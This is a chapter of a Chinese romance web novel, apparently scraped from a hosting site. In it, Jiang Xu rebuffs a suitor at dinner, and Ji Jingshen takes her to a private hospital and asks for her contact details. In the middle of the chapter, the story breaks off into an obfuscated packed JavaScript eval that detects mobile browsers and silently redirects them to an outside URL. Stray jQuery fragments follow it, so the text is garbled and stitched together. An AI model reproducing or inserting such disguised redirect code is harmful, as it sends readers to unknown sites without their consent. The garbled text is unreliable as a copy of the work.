10. 第 10 章

作品:《云开见你

    洗手台的水淌过了手指缝。


    姜许站了有一会了,呕吐的感觉压不下去,比前几天更严重。不仅想呕吐,还头晕。


    缓了缓,她离开卫生间,往嘴里塞了颗话梅。身体还是不舒服的,可她也不敢让季惊深单独和陈越然待得太久。


    大步回到包厢里,刚一推开门,听到的就是陈越然暴跳如雷的骂声。拳头紧握着,眼睛因为愤怒而微微红着。


    姜许脸色微冷:“要疯滚回你家老爷子的医院去疯。”


    陈越然咬牙切齿:“姜许,你哪找来的死绿茶!”


    姜许:“?”


    陈越然:“他趁你上洗手间,耀武扬威地挑衅我,你就喜欢这款的?”


    谁?


    季惊深吗?


    姜许语气嘲弄:“酒还没喝就说胡话,陈越然,你能不能别那么幼稚。”


    陈越然气得心口疼:“我没在和你开玩笑!”


    虽然他用词稍微夸张了一些,但刚才跟前这男人的行为,不就是绿茶吗?!


    “陈越然,我也没在和你开玩笑。”头疼的感觉又重了一些,姜许缓了几秒,将话说到了最清楚:“我不喜欢你,也不会和你联姻。当然,你要是接受以后我用你的钱带十个八个男人在我们婚床上睡觉,或许我还能考虑考虑。”


    “姜许!”陈越然气得脑袋都快要爆炸了。


    想揍人,想像以前那样不顾一切地发火。可是代价是,他有好多年没能见到姜许。


    眼睛被气得有些红红的,拳头握紧了又松,最后像是只可怜的大狗狗一样,耷拉着脑袋:“我等你对他腻味的那天,反正,你赶不走我。”


    姜许“呵呵”两声:“对他腻味了也轮不到你。”


    和很多年前相似的话。陈越然不得不承认,刚才那个男人的话让他破防了。他的家世不错,样貌也算是上乘。姜许当年都能和那样的书呆子有上一段,怎么就独独对他,看都不看一眼!


    丢在国外的这些年,他也听过朋友的建议。女朋友谈了一个又一个,性格像她的,样貌像她的,小动作像她的……


    最长的处了一个月,最短的,一小时不到。那些女生,像她,却远远不及她。姜许是独一无二的,谁都代替不了。


    “姜许,我不在乎你是不是自愿嫁给我。我可以等,等到民江没有选择,你只能嫁给我的那天。”


    饭局不欢而散,临走之前,陈越然执意把人送到了门口。演戏演到了全套,姜许只得转身上了季惊深的车。


    多雨的季节,车子刚刚上了大路,绵绵的细雨又落了下来。脑袋疼得几乎要炸开,呕吐的感觉卡在喉咙里,又被姜许强忍下来。这车不便宜,更何况季惊深还在,她是要面子的。


    大路行驶了二十分钟,窗外是市中心特有的高楼大厦。姜许往外头看了一眼,路很熟悉,却不是回她家的路:“这是去哪?”


    “医院。”


    姜许抬眼:“你身体不舒服?”


    “不是我,是你。”季惊深嗓音微沉。


    藏着的秘密骤然被揭开,对方神色坦然,显得她过于忸怩。胸口又闷了闷,姜许拒绝:“我身体没什么事。”


    她不喜欢医院,上一次去还是被姜祁州强压着去做体检,但那都是两年前了。


    季惊深墨色的瞳孔里一派的冷静毫无情绪:“去医院,或者去我家。”


    不容置疑的态度。


    按照姜许平日的性子,就算是姜祁州来了,也得回怼一句“你是我哥又不是我老子,我就不去除非你绑我”。


    而此时,那股气焰在那双黑眸下,根本燃不起来,只剩下一句——


    “医院。”


    森然私立医院早年是季家投资,原本就是为了季惊深而存在,引进了不少的资源。连随便一个门诊医生都是各个领域退休被返聘回来老教授。


    姜许也没想到,她能有一天享受着季惊深才有的待遇。


    十几个医生围着她转了两个小时,各种仪器轮番上场。在确定她是肠胃炎之后,也没有放过她,硬是要从头到尾连头发丝都不放过,全部检查了一遍。


    “作息不规律,经常熬夜,还有喝酒次数频繁,心情波动起伏过大……”


    五十来岁的主任医生推着鼻梁上的镜框,板正地念着报告。


    姜许本来就难受,虽然这会挂了水吃了药,但毕竟不是仙丹,见效没有那么快。耳边念叨一句句跟个魔咒一样,实在是令人头疼。可偏偏面前的是医生,也没有恶意,她总不能无理取闹。


    只能求助地朝季惊深看去,眼神示意着——


    让他别念了,烦人得很。


    她的肩头还披着自己的那件外套,大概是被折磨得狠了,那双平日里带着几分跋扈的眼眸都耷拉了几分,唇色惨白着,像是卸下了攻击的猫,无害又柔软。


    “唐叔,你先去忙吧,这里有我照看就好。”


    那个被称为唐叔的医生笑了笑:“行,这三瓶水挂完就行了。小姑娘可别仗着自己年轻,就不珍惜身体。”


    终于回归安静,姜许轻舒了一口气。


    她看向季惊深,手心不知道是因为医院闷热还是身体不适的缘故,微微有些潮湿黏腻。


    “季先生。”姜许开了口:“今天的事情谢谢了,我这会也没事了,你要是忙的话,可以先回去。”


    直到现在,姜许都感觉自己飘在云层中,飘飘然的,不真切。


    她领着季惊深去见了陈越然,攀着他的肩膀,把玩着他的手,还喊他小心肝……


    这种事她不是第一次做了,和那些小男生演戏时,更嗲更做作的举动都有。对于季惊深,她委实矜持收敛了很多,却依旧觉得心慌不已。


    “不忙。”


    男人温沉的声音落了过来,却没有多少可信度。


    他的手里还拿着平板,两秒前还在浏览着一份文件,此刻却像是为了证实这个根本不需要刻意拆穿的谎言一般,抽空和姜许的视线对上。


    姜许:“……我朋友一会就来,可能不太方便,所以……”


    季惊深了然点头,在姜许刚要舒一口气时,又道:“等姜小姐的朋友来了,我就离开,不会打扰你们。”


    姜许沉默,闭眼,再睁眼。


    很快拿出手机,无声地叹息。姜祁州前两天飞往巴黎,月底才回。季惊扬跟她同病相怜,而江小满……


    三分钟前在群里鬼哭狼嚎。


    【傻逼老板,加加加加到厌倦!他老婆出差自己空虚寂寞,拉着我们一部门的人一起加班!】


    【这逼班上不了一点,一点都上不了。】


    得,也是个指望不上的。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871175|176207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    放弃的摆烂,姜许懒得做任何挣扎。人家分分钟上亿的逸安大公子愿意在这陪着她,她又不吃亏。


    身侧是无声处理文件的男人,时不时会接上几个电话,聊的都是姜许不太了解的内容。加上男人的声音温浅低沉,撞入耳中,有些醉人。姜许有了浅浅的睡意,却又强撑着不想在太阳落山的这个点破坏了生物钟。


    她玩着手机,朋友圈刷了两回,正想要点开消消乐,面前递过来黑色的手机,搭在上面的手指骨节分明,张力十足——


    “姜小姐,方不方便给个联系方式?”


    这样的话,姜许听过很多次,大多数都是搭讪,带着不怀好意的目光。


    可季惊深不同,他的眼里依旧是一片沉寂的海,连半点波浪都没有掀起。平缓而沉的语气和他刚才处理工作时一模一样。


    她迟疑的片刻,季惊深的眉眼稍稍凝了几分锋芒,似无奈,又似压着几分欲出的不满:“姜小姐,和我交换联系方式是让你很为难的一件事吗?”


    “我不知道做了什么给姜小姐留下误会,对我一直避之如蛇蝎。”


    姜许张了张嘴,一时间不知道该怎么解释。


    点开了微信,她把二维码递了过去,欲盖弥彰地解释:“没有为难,就是有些惊讶。”


    “什么?”


    姜许直白而坦诚:“季先生待人,一直这么……友好?”


    琢磨半天,总算是找到个词。


    季惊深眉眼微抬:“所以圈子里都是怎么传我的?”


    姜许:“……”


    “不好相与,不近人情?”


    姜许沉默这会,季惊深已经了然:“看来,还不止这些。”


    “……”


    她没打算在正主面前继续深入这个话题,索性不再抵抗药效的后遗症,浅浅地打了个瞌睡,把自己缩进了被子里,背对着季惊深:“我困了。”


    “好。”季惊深敛着眉眼,视线定格在姜许的脸上,忽而开口:“陈家那边,打算怎么处理?”


    姜许是真的困意上来了,话语含含糊糊的:“晾一段时间,到时候说我对你腻了,让季惊扬接任。”


    握着平板一角的手逐渐收紧,隐隐看得见本就明显的青筋,此时更像是即将要破出的竹子一般。


    胡泽的电话打来,只一秒就被季惊深挂断。他面无表情地点开和胡泽的对话框:【打字。】


    那头的胡泽瞬间明白,却是一个头两个大。要说的事情太多了,这季总不方便,他得打字到什么时候。


    哀叹了一声,胡泽老老实实地开始语音转文字,再删删减减,把大段大段的汇报内容输入过去。


    季惊深一点点地看完,手指很轻地在屏幕上很轻地输入着。床上传来很浅的动作声,姜许翻了个身,没打点滴的手甩了过来,医院的病床不大,翻个身后她便处在了边缘处,无处安放的手恰好搭在他的大腿上。


    那是一双极其娇嫩的手,指甲并不长,很惹眼的亮色美甲,衬得一双手更为白嫩秀气。似乎察觉到掌心下的触感不对,有些硬的指甲轻轻无意识地挠了两下。


    季惊深的喉结紧了几分,隔着西装裤被挠的那一小块,仿佛像是被火烧起来了一般。不断地窜着火苗,顺着大腿的经络往上。


    如同干涸地上突然出现的一颗参天大树。